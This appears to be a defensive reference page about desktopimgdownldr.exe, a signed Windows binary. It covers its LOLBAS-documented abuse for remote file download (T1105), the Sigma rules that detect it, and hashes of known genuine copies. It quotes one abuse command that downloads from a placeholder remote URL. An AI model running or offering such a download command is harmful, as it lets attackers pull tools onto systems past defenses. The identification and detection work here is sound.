Identifier / Programs / Windows

desktopimgdownldr.exe

desktopimgdownldr.exe file version info (xCyclopedia)

LOLBAS Download 1 Sigma rule name it 1 ATT&CK technique 1 documented command 5 known copies with hashes

How desktopimgdownldr.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

cmd

-c

-lockscreenurl

-eventname

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for desktopimgdownldr.exe.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Downloads the file and sets it as the computer's lockscreen

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr

Identify

Trips 1 Sigma rule: highSuspicious Desktopimgdownldr Command by Florian Roth (Nextron Systems)

The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for desktopimgdownldr.exe, by Gal Kristal, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for desktopimgdownldr.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

mediumRemote File Download Via Desktopimgdownldr UtilityTim Rauch, Elastic (idea)

T1105Ingress Tool Transfer

Is it the real desktopimgdownldr.exe?

file version info and known copies

Installed inC:\Windows\system32\

Signed byMicrosoft Windows

ProductMicrosoft Windows Operating System, Microsoft Corporation

Descriptiondesktopimgdownldr.exe

5 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\desktopimgdownldr.exe · signed by Microsoft Windows

8abdb26264fea2529fe91d355128e283b93a66144c76ff96e1c1f9cddffc75a7

10.0.19041.746 (WinBuild.160101.0800) · C:\Windows\system32\desktopimgdownldr.exe · signed by Microsoft Windows

68ec8d58aa6c6c5b93768e9b95318c97a04403a05775eb0870a7e94e1c8af8e2

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\desktopimgdownldr.exe · signed by Microsoft Windows

1f336fa7255266ca76d26928da7a2e0d4446f4cae7f2041218bb2b166a97504d

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\desktopimgdownldr.exe · signed by Microsoft Windows

aaada36880e08c0b37ed6a1f6ff605144c650d987c0f8049347e9dd5a04cdb4e

10.0.17763.1075 (WinBuild.160101.0800) · C:\Windows\system32\desktopimgdownldr.exe · signed by Microsoft Windows

0a6a2690c68cf685d8fcc9f3ea78c35bbf6f296b7b33c956b39400df749dbc78

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.